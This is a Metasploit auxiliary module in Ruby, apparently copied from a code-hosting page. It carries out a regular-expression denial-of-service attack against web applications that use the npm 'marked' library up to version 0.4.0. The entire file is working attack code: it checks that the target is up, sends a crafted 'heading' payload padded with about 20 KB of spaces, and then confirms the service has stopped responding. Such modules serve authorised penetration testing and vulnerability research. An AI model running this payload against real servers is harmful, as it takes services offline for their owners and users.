118 lines
3.6 KiB
Ruby
118 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'marked npm module "heading" ReDoS',
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'Description' => %q{
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This module exploits a Regular Expression Denial of Service vulnerability
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in the npm module "marked". The vulnerable portion of code that this module
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targets is in the "heading" regular expression. Web applications that use
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"marked" for generating html from markdown are vulnerable. Versions up to
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0.4.0 are vulnerable.
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},
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'References' =>
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[
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['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
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['CWE', '400']
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],
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'Author' =>
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[
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'Adam Cazzolla, Sonatype Security Research',
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'Nick Starke, Sonatype Security Research'
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],
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'License' => MSF_LICENSE
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))
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register_options([
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Opt::RPORT(80),
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OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
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OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
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OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
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])
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end
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def run
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if test_service
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trigger_redos
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test_service_unresponsive
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else
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fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
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end
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end
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def trigger_redos
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begin
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print_status("Sending ReDoS request to #{peer}.")
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params = {
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'uri' => normalize_uri(target_uri.path),
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'method' => datastore['HTTP_METHOD'],
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("vars_#{datastore['HTTP_METHOD'].downcase}") => {
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datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
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}
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}
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res = send_request_cgi(params)
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if res
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fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
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end
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print_status("No response received from #{peer}, service is most likely unresponsive.")
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rescue ::Rex::ConnectionRefused
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print_error("Unable to connect to #{peer}.")
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rescue ::Timeout::Error
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print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
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end
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end
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def test_service_unresponsive
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begin
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print_status('Testing for service unresponsiveness.')
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res = send_request_cgi({
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'uri' => '/' + Rex::Text.rand_text_alpha(8),
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'method' => 'GET'
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})
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if res.nil?
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print_good('Service not responding.')
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else
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print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
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end
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rescue ::Rex::ConnectionRefused
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print_error('An unknown error occurred.')
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rescue ::Timeout::Error
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print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
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end
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end
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def test_service
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begin
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print_status('Testing Service to make sure it is working.')
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res = send_request_cgi({
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'uri' => '/' + Rex::Text.rand_text_alpha(8),
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'method' => 'GET'
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})
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if res && res.code >= 100 && res.code < 500
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print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
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return true
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else
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return false
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end
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rescue ::Rex::ConnectionRefused
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print_error("Unable to connect to #{peer}.")
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return false
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end
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end
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end
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